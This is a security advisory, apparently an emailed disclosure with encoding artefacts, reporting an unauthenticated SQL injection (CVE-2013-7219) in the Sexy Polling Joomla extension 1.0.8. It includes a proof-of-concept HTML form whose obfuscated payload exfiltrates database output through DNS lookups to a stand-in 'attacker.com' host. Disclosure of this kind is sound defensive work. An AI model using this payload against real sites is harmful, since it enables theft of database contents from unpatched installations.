Advisory ID: HTB23193
Product: Sexy Polling Joomla Extension
Vendor: 2GLux
Vulnerable Version(s): 1.0.8 and probably prior
Tested Version: 1.0.8
Advisory Publication: December 26, 2013 [without technical details]
Vendor Notification: December 26, 2013=20
Vendor Patch: January 8, 2014=20
Public Disclosure: January 16, 2014=20
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2013-7219
Risk Level: High=20
CVSSv2 Base Score: 7.5 (AV:N/AC:L/Au:N/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://w=
ww.htbridge.com/advisory/ )=20
---------------------------------------------------------------------------=
--------------------
Advisory Details:
High-Tech Bridge Security Research Lab discovered vulnerability in Sexy Pol=
ling Joomla Extension, which can be exploited to perform SQL Injection atta=
cks.
1) SQL Injection in Sexy Polling Joomla Extension: CVE-2013-7219
The vulnerability exists due to insufficient validation of "answer_id[]" HT=
TP POST parameter passed to "/components/com_sexypolling/vote.php" script=
=2E A remote unauthenticated attacker can execute arbitrary SQL commands in=
application's database.
The following exploitation example is based on DNS Exfiltration technique a=
nd may be used if the database of the vulnerable application is hosted on a=
Windows system. The PoC will send a DNS request demanding IP addess for `v=
ersion()` (or any other sensetive output from the database) subdomain of "=
=2Eattacker.com" (a domain name, DNS server of which is controlled by the a=
ttacker):
<form action=3D"http://[host]/components/com_sexypolling/vote.php"=20
method=3D"post" name=3D"main">
<input type=3D"hidden" name=3D"answer_id[]" value=3D"',(select load_file(C=
ONCAT(CHAR(92),CHAR(92),(select
version()),CHAR(46),CHAR(97),CHAR(116),CHAR(116),CHAR(97),CHAR(99),CHAR(107=
),CHAR(101),CHAR(114),CHAR(46),CHAR(99),CHAR(111),CHAR(109),CHAR(92),CHAR(1=
02),CHAR(111),CHAR(111),CHAR(98),CHAR(97),CHAR(114)))),'','','','','')
-- ">
<input type=3D"submit" id=3D"btn">
</form>
---------------------------------------------------------------------------=
--------------------
Solution:
Update to Sexy Polling 1.0.9
More Information:
http://2glux.com/forum/sexypolling/sexy-polling-security-vulnerability-noti=
fication-t2026.html
---------------------------------------------------------------------------=
--------------------
References:
[1] High-Tech Bridge Advisory HTB23193 - https://www.htbridge.com/advisory/=
HTB23193 - SQL Injection in Sexy Polling Joomla Extension.
[2] Sexy Polling Joomla Extension - http://2glux.com/projects/sexypolling -=
Polling for Joomla.
[3] Common Vulnerabilities and Exposures (CVE) - http://cve.mitre.org/ - in=
ternational in scope and free for public use, CVE=C2=AE is a dictionary of =
publicly known information security vulnerabilities and exposures.
[4] Common Weakness Enumeration (CWE) - http://cwe.mitre.org - targeted to =
developers and security practitioners, CWE is a formal list of software wea=
kness types.
[5] ImmuniWeb=C2=AE - http://www.htbridge.com/immuniweb/ - is High-Tech Bri=
dge's proprietary web application security assessment solution with SaaS de=
livery model that combines manual and automated vulnerability testing.
---------------------------------------------------------------------------=
--------------------
Disclaimer: The information provided in this Advisory is provided "as is" a=
nd without any warranty of any kind. Details of this Advisory may be update=
d in order to provide as accurate information as possible. The latest versi=
on of the Advisory is available on web page [1] in the References.